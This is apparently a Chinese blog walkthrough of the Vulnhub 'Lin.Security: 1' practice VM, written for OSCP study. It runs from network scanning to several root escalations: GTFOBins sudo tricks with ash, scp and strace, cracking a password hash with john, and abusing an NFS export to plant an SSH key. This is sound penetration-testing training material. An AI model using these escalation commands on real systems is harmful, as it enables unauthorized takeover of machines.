---------------------------------------------------------------
本文题干阅读时间推荐20min,靶场练习推荐3h
----------------------------------------------------------------
如果各位童鞋想讨论以下相关内容,欢迎关注公众号, 联系我:
-
OSCP相关技术(备考中)
-
CISSP备考经验(已通过认证)
-
CCSK(云安全)(已通过认证)
-
ISO/IEC 27001 Foundation(已通过认证)
----------------------------------------------------------------
一、前言
主要利用方式:
若干命令sudo 提权
john
hash
密码爆破
nfs挂载+strace sudo 提权
二、靶机信息
靶场: vulnhub.com
靶机名称: LIN.
SECURITY:
1
难度: 中级
发布时间:
2018
年
7
月
11
日
下载地址:
https:
/
/www.vulnhub.com/entry
/linsecurity-1,244/
备注:一个非常适合练习的靶场
三、虚拟机配置
VirtualBox
、网络连接模式:
NAT
模式、
DHCP
服务:启用、
IP
地址:自动分配
攻击
IP
:10
.0
.2
.31
靶机
IP
:10
.0
.2
.29
四、信息收集
1、前置描述
在 in.security,我们想开发一个 Linux 虚拟机,在撰写本文时,它基于最新的 Ubuntu 发行版 (18.04 LTS),但存在许多漏洞,允许用户升级到盒子上的 root。这旨在帮助了解某些内置应用程序和服务在配置错误时如何被攻击者滥用。
首先,您可以使用以下凭据登录主机:bob/secret |
2、探测靶机ip地址
└─$ sudo arp-scan -I eth
0
-l
3、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p-
10.0
.
2.29
└─$ sudo nmap -p22,
111
,
2049
,
35317
,
40525
,
43979
,
60691
-sV -A
10.0
.
2.29
通过扫描,发现了111端口的rpcbind服务以及2049的nfs的服务
五、漏洞利用(突破边界)及提权
方法一:sudo提权
4.1、既然已经提示有账号密码(bob/secret),SSH登录,并验证账号权限
└─$ ssh bob@10.
0
.
2.29
bob@linsecurity
:~
$ id
4.2、利用poc,获取root权限
ash:
https:
/
/gtfobins.github.io/gtfobins
/ash/
bob@linsecurity
:~
$ sudo ash
SCP:
https:
/
/gtfobins.github.io/gtfobins
/scp/
bob@linsecurity
:~
$ TF=$(mktemp)
bob@linsecurity
:~
$ echo
'sh 0<&2 1>&2'
> $TF
bob@linsecurity
:~
$ chmod +x
"$TF"
bob@linsecurity
:~
$ sudo scp -S $TF x
y:
# id
uid=
0
(root) gid=
0
(root) groups=
0
(root)
方法二:hash密码破解
5.1、查看/etc/shadow,能看到部分用户的密码hash
字段 |
含义 |
用户名 |
用户登录系统是使用的用户名 |
密码 |
密码位 |
UID |
用户表示号 |
GID |
缺省组标识号 |
注释性描述 |
例如存放用户全名等信息 |
宿主目录 |
用户登录系统后的缺省目录 |
命令解释器 |
用户使用的shell,默认为bash |
5.2、在靶机中发现passwd文件中存储hash密码
insecurity:
AzER3pBZh6WZE:
0
:
0
:
:/
:/bin/sh
5.3、使用john或hashcat进行破解
└─$ john --wordlist=
/usr/share
/wordlists/rockyou
.txt hash.txt
提取账号及密码:insecurity/P
5.4、ssh切换登录,查看权限
方法三:NFS提权
6.1、看到开放2049端口,对应nfs服务。
NFS(Network File System)即网络文件系统,它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。 |
6.2、kali上安装nfs客户端工具
6.3、showmount命令查看靶机给的网络共享文件夹列表
└─$ showmount -e
10.0
.
2.29
6.4、在tmp创建目录并挂载次网络目录
└─$
cd
/tmp
└─$
mkdir
nfs
└─$ sudo mount -t nfs
10.0
.
2.29
:/home/peter
/tmp/nfs
6.5、查看挂载是否生效
6.6、在Kali上挂载了NFS共享,可以创建一个具有与导出(1001/1005)相同的uid/gid的新用户,然后又成为该用户即可…
└─$ sudo groupadd -g
1005
peter
└─$ sudo adduser peter -uid
1001
-gid
1005
6.7、客户端切换peter用户,生成ssh公钥文件
6.8、将peter用户的key导入到/tmp/nfs的.ssh文件夹中
6.9、将id_rsa.pub导入authorized_key文件并赋权600
└─$ cat id_rsa.pub > authorized_keys
6.10、ssh用id_rsa登录
6.11、strace sudo 提权
https:
/
/gtfobins.github.io/gtfobins
/strace/
peter@linsecurity
:~
$ sudo strace -o /dev/null /bin/sh
-----------------------------------------------
本期靶场到此就结束啦,我们下期再见
--------------------------------------------------
走之前记得点个“在看”哟~
原文始发于微信公众号(从放弃到入门):【OSCP模拟-No.40】 Lin.Security: 1靶机渗透测试练习
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论